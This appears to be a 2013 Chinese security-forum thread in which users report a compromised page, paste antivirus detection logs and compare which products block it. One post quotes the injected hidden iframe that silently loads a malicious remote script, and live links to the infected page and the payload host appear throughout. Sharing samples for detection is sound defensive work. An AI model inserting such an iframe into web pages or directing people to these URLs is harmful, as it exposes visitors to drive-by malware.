http://users.belgacom.net/michel.fan.sk/index2.htm【挂马 by 阿狸】

显示全部楼层 · 发表于 2013-4-4 12:22:56

本帖最后由 wjhstu-VxG 于 2013-4-9 18:48 编辑

2013/4/4 12:19:28 已清除 l\XX C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\XX\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8T3JKM83\index2[1].htm JS/Iframe.gen.k (特洛伊)

2013/4/4 12:19:29 已清除 l\XX C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\XX\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\22AZ1YO4\index2[1].htm JS/Iframe.gen.k (特洛伊)

显示全部楼层 · 发表于 2013-4-4 19:07:17

过ESET,毒霸

显示全部楼层 · 发表于 2013-4-4 21:08:40

To Norton.

显示全部楼层 · 发表于 2013-4-8 20:44:48

小A阻止。哈哈

显示全部楼层 · 发表于 2013-4-9 15:58:08

BD阻止了

显示全部楼层 · 发表于 2013-4-9 17:08:02

数子无反应

显示全部楼层 · 发表于 2013-4-9 18:48:19

<iframe src="http://nbar.com.br/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

复制代码

这是赤裸裸……

显示全部楼层 · 发表于 2013-4-9 19:03:23

wjhstu-VxG 发表于 2013-4-9 18:48
这是赤裸裸……

http://nbar.com.br/counter.php 打开是空白诶，

显示全部楼层 · 发表于 2013-4-9 19:07:52

dayangyang 发表于 2013-4-9 19:03
http://nbar.com.br/counter.php 打开是空白诶，

这个……您潜水……可能失效，也可能有效，打开空白并不代表他没动作

显示全部楼层 · 发表于 2013-4-9 19:14:30

wjhstu-VxG 发表于 2013-4-9 19:07
这个……您潜水……可能失效，也可能有效，打开空白并不代表他没动作

网页源码就是空。。不过第一次的时候eset报了2013/4/9 18:56:03 HTTP 过滤器文件 http://nbar.com.br/counter.php JS/Kryptik.AJE 特洛伊木马连接中断 - 已隔离 NT AUTHORITY\SYSTEM 通过应用程序访问 web 时检测到威胁: C:\Windows\SysWOW64\vmnat.exe.

然后关了eset想看源码发现变成空白了 T T

[已鉴定] http://users.belgacom.net/michel.fan.sk/index2.htm【挂马 by 阿狸】